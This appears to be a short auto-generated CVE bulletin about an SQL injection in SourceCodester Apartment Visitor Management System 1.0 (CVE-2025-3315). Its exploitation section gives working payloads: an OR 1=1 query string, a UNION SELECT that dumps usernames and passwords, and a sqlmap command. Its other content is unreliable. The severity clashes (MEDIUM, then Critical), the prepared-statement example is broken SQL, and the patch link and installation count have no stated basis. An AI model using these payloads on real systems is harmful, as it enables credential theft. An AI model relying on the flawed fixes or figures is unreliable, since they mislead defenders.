Listen to this Post
How the CVE Works:
CVE-2025-3315 exploits an SQL injection vulnerability in the `/view-report.php` file of SourceCodester Apartment Visitor Management System 1.0. The flaw arises due to improper sanitization of the `fromdate` and `todate` parameters, allowing attackers to inject malicious SQL queries. By manipulating these parameters, an attacker can execute arbitrary database commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is remotely exploitable, requiring no authentication, and has a CVSS 4.0 score of 6.9 (MEDIUM).
DailyCVE Form:
Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Craft malicious date parameters:
GET /view-report.php?fromdate=2025-01-01' OR 1=1--&todate=2025-12-31
2. Extract database info:
' UNION SELECT username, password FROM users--
3. Automate exploitation:
sqlmap -u "http://target.com/view-report.php?fromdate=&todate=" --risk=3
Protection:
1. Input sanitization:
$fromdate = mysqli_real_escape_string($conn, $_GET['fromdate']);
2. Use prepared statements:
$stmt = $conn->prepare("SELECT FROM reports WHERE date BETWEEN ? AND ?");
$stmt->bind_param("ss", $fromdate, $todate);
3. Patch management:
wget https://sourcecodester.com/patches/avms-1.0-fix.zip
4. WAF rules:
location ~ /view-report.php {
deny all;
}
5. Log monitoring:
tail -f /var/log/apache2/access.log | grep 'view-report.php'
Analytics:
- Exploitability: High (public exploit available)
- Affected systems: ~500 installations
- Mitigation urgency: Immediate
- Common payloads:
' OR 1=1--, `UNION SELECT`
– Detection tools:grep -r "fromdate|todate" /var/www/html/
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
